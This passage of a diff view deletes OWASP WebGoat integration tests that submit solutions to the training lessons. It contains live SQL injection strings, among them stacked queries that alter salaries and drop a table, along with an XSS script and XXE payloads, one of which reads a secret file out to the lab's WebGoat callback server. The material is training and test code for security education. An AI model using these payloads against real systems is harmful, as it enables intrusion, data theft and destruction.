public static final String sql_11_a = "Smith' or '1' = '1";
|
||||
public static final String sql_11_b = "3SL99A' or '1'='1";
|
||||
|
||||
public static final String sql_12_a = "Smith";
|
||||
public static final String sql_12_b =
|
||||
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
||||
|
||||
public static final String sql_13 = "%update% '; drop table access_log ; --'";
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjection");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("query", sql_2);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("query", sql_3);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("query", sql_4_add);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("query", sql_5);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("operator", sql_9_operator);
|
||||
params.put("account", sql_9_account);
|
||||
params.put("injection", sql_9_injection);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("login_count", sql_10_login_count);
|
||||
params.put("userid", sql_10_userid);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("name", sql_11_a);
|
||||
params.put("auth_tan", sql_11_b);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("name", sql_12_a);
|
||||
params.put("auth_tan", sql_12_b);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("action_string", sql_13);
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true);
|
||||
|
||||
checkResults("SqlInjection");
|
||||
}
|
||||
}
|
@ -1,88 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjectionMitigations");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("field1", "getConnection");
|
||||
params.put("field2", "PreparedStatement prep");
|
||||
params.put("field3", "prepareStatement");
|
||||
params.put("field4", "?");
|
||||
params.put("field5", "?");
|
||||
params.put("field6", "prep.setString(1,\"\")");
|
||||
params.put("field7", "prep.setString(2,\\\"\\\")");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true);
|
||||
|
||||
params.put(
|
||||
"editor",
|
||||
"try {\r\n"
|
||||
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
|
||||
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
|
||||
+ " = ?\");\r\n"
|
||||
+ " prep.setString(1,\"me\");\r\n"
|
||||
+ " prep.execute();\r\n"
|
||||
+ " System.out.println(conn); //should output 'null'\r\n"
|
||||
+ "} catch (Exception e) {\r\n"
|
||||
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
|
||||
+ "}");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put(
|
||||
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put(
|
||||
"userid_sql_only_input_validation_on_keywords",
|
||||
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
|
||||
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(
|
||||
webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname"
|
||||
+ " else id end)"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown"))
|
||||
.then()
|
||||
.statusCode(500)
|
||||
.body(
|
||||
"trace",
|
||||
containsString(
|
||||
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
|
||||
+ " 'out of order' order by"));
|
||||
|
||||
params.clear();
|
||||
params.put("ip", "104.130.219.202");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true);
|
||||
|
||||
checkResults("SqlInjectionMitigations");
|
||||
}
|
||||
}
|
@ -1,81 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class WebWolfIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("WebWolfIntroduction");
|
||||
|
||||
// Assignment 3
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("email", this.getUser() + "@webgoat.org");
|
||||
checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false);
|
||||
|
||||
String responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrlConfig.url("mail"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
|
||||
String uniqueCode = responseBody.replace("%20", " ");
|
||||
uniqueCode =
|
||||
uniqueCode.substring(
|
||||
21 + uniqueCode.lastIndexOf("your unique code is: "),
|
||||
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
|
||||
params.clear();
|
||||
params.put("uniqueCode", uniqueCode);
|
||||
checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true);
|
||||
|
||||
// Assignment 4
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.queryParams(params)
|
||||
.get(webGoatUrlConfig.url("WebWolf/landing/password-reset"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.queryParams(params)
|
||||
.get(webWolfUrlConfig.url("landing"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrlConfig.url("requests"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
assertTrue(responseBody.contains(uniqueCode));
|
||||
params.clear();
|
||||
params.put("uniqueCode", uniqueCode);
|
||||
checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true);
|
||||
|
||||
checkResults("WebWolfIntroduction");
|
||||
}
|
||||
}
|
@ -1,120 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class XSSIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void crossSiteScriptingAssignments() {
|
||||
startLesson("CrossSiteScripting");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("checkboxAttack1", "value");
|
||||
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("QTY1", "1");
|
||||
params.put("QTY2", "1");
|
||||
params.put("QTY3", "1");
|
||||
params.put("QTY4", "1");
|
||||
params.put("field1", "<script>alert('XSS+Test')</script>");
|
||||
params.put("field2", "111");
|
||||
checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("DOMTestRoute", "start.mvc#test");
|
||||
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("param1", "42");
|
||||
params.put("param2", "24");
|
||||
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("webgoat-requested-by", "dom-xss-vuln")
|
||||
.header("X-Requested-With", "XMLHttpRequest")
|
||||
.formParams(params)
|
||||
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("output");
|
||||
String secretNumber = result.substring("phoneHome Response is ".length());
|
||||
|
||||
params.clear();
|
||||
params.put("successMessage", secretNumber);
|
||||
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
|
||||
+ " the browser does not know that the script is malicious.");
|
||||
params.put(
|
||||
"question_1_solution",
|
||||
"Solution 3: The data is included in dynamic content that is sent to a web user without"
|
||||
+ " being validated for malicious content.");
|
||||
params.put(
|
||||
"question_2_solution",
|
||||
"Solution 1: The script is permanently stored on the server and the victim gets the"
|
||||
+ " malicious script when requesting information from the server.");
|
||||
params.put(
|
||||
"question_3_solution",
|
||||
"Solution 2: They reflect the injected script off the web server. That occurs when input"
|
||||
+ " sent to the web server is part of the request.");
|
||||
params.put(
|
||||
"question_4_solution",
|
||||
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
|
||||
+ " the browser executes.");
|
||||
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put(
|
||||
"editor",
|
||||
"<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
|
||||
+ "<html>"
|
||||
+ "<head>"
|
||||
+ "<title>Using GET and POST Method to Read Form Data</title>"
|
||||
+ "</head>"
|
||||
+ "<body>"
|
||||
+ "<h1>Using POST Method to Read Form Data</h1>"
|
||||
+ "<table>"
|
||||
+ "<tbody>"
|
||||
+ "<tr>"
|
||||
+ "<td><b>First Name:</b></td>"
|
||||
+ "<td>${e:forHtml(param.first_name)}</td>"
|
||||
+ "</tr>"
|
||||
+ "<tr>"
|
||||
+ "<td><b>Last Name:</b></td>"
|
||||
+ "<td>${e:forHtml(param.last_name)}</td>"
|
||||
+ "</tr>"
|
||||
+ "</tbody>"
|
||||
+ "</table>"
|
||||
+ "</body>"
|
||||
+ "</html>");
|
||||
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put(
|
||||
"editor2",
|
||||
"Policy.getInstance(\"antisamy-slashdot.xml\");"
|
||||
+ "Sammy s = new AntiSamy();"
|
||||
+ "s.scan(newComment,\"\");"
|
||||
+ "CleanResults();"
|
||||
+ "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
|
||||
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true);
|
||||
|
||||
checkResults("CrossSiteScripting");
|
||||
}
|
||||
}
|
@ -1,121 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.io.IOException;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class XXEIntegrationTest extends IntegrationTest {
|
||||
|
||||
private static final String xxe3 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||
""";
|
||||
private static final String xxe4 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||
""";
|
||||
private static final String dtd7 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
|
||||
""";
|
||||
private static final String xxe7 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||
""";
|
||||
|
||||
private String webGoatHomeDirectory;
|
||||
|
||||
// TODO fix me
|
||||
// /*
|
||||
// * This test is to verify that all is secure when XXE security patch is applied.
|
||||
// */
|
||||
// @Test
|
||||
// public void xxeSecure() throws IOException {
|
||||
// startLesson("XXE");
|
||||
// webGoatHomeDirectory = webGoatServerDirectory();
|
||||
// RestAssured.given()
|
||||
// .when()
|
||||
// .relaxedHTTPSValidation()
|
||||
// .cookie("JSESSIONID", getWebGoatCookie())
|
||||
// .get(url("service/enable-security.mvc"))
|
||||
// .then()
|
||||
// .statusCode(200);
|
||||
// checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
|
||||
// checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
|
||||
// checkAssignment(
|
||||
// url("xxe/blind"),
|
||||
// ContentType.XML,
|
||||
// "<comment><text>" + getSecret() + "</text></comment>",
|
||||
// false);
|
||||
// }
|
||||
|
||||
/**
|
||||
* This performs the steps of the exercise before the secret can be committed in the final step.
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
private String getSecret() {
|
||||
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
|
||||
String webWolfCallback = webWolfUrlConfig.url("landing");
|
||||
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
|
||||
|
||||
// upload DTD
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||
.post(webWolfUrlConfig.url("fileupload"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
|
||||
// upload attack
|
||||
String xxe7String =
|
||||
xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
|
||||
.replace("USERNAME", this.getUser());
|
||||
checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
|
||||
|
||||
// read results from WebWolf
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrlConfig.url("requests"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.replace("%20", " ");
|
||||
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
|
||||
result =
|
||||
result.substring(
|
||||
result.lastIndexOf("WebGoat 8.0 rocks... ("),
|
||||
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("XXE", true);
|
||||
webGoatHomeDirectory = webGoatServerDirectory();
|
||||
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
|
||||
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url("xxe/blind"),
|
||||
ContentType.XML,
|
||||
"<comment><text>" + getSecret() + "</text></comment>",
|
||||
true);
|
||||
checkResults("XXE");
|
||||
}
|
||||
}
|
@ -1,31 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.playwright.webgoat;
|
||||
|
||||
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
|
||||
|
||||
import com.microsoft.playwright.Browser;
|
||||
import com.microsoft.playwright.Page;
|
||||
import com.microsoft.playwright.options.AriaRole;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
|
||||
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
|
||||
|
||||
class LoginUITest extends PlaywrightTest {
|
||||
|
||||
@Test
|
||||
void loginLogout(Browser browser) {
|
||||
var page = Authentication.tweety(browser);
|
||||
var loginPage = new WebGoatLoginPage(page);
|
||||
loginPage.open();
|
||||
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
|
||||
|
||||
// logout
|
||||
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
|
||||
page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
|
||||
|
||||
assertThat(loginPage.getSignInButton()).isVisible();
|
||||
}
|
||||
}
|
@ -1,42 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.playwright.webgoat;
|
||||
|
||||
import com.microsoft.playwright.Browser;
|
||||
import com.microsoft.playwright.junit.Options;
|
||||
import com.microsoft.playwright.junit.OptionsFactory;
|
||||
import com.microsoft.playwright.junit.UsePlaywright;
|
||||
import org.owasp.webgoat.ServerUrlConfig;
|
||||
|
||||
@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
|
||||
public class PlaywrightTest {
|
||||
|
||||
private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
|
||||
private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
|
||||
|
||||
public static class WebGoatOptions implements OptionsFactory {
|
||||
@Override
|
||||
public Options getOptions() {
|
||||
return new Options()
|
||||
.setHeadless(true)
|
||||
.setContextOptions(getContextOptions());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
protected static Browser.NewContextOptions getContextOptions() {
|
||||
return new Browser.NewContextOptions()
|
||||
.setLocale("en-US")
|
||||
.setBaseURL(webGoatUrlConfig.getBaseUrl());
|
||||
}
|
||||
|
||||
public static String webGoatUrl(String path) {
|
||||
return webGoatUrlConfig.url(path);
|
||||
}
|
||||
|
||||
public static String webWolfURL(String path) {
|
||||
return webWolfUrlConfig.url(path);
|
||||
}
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user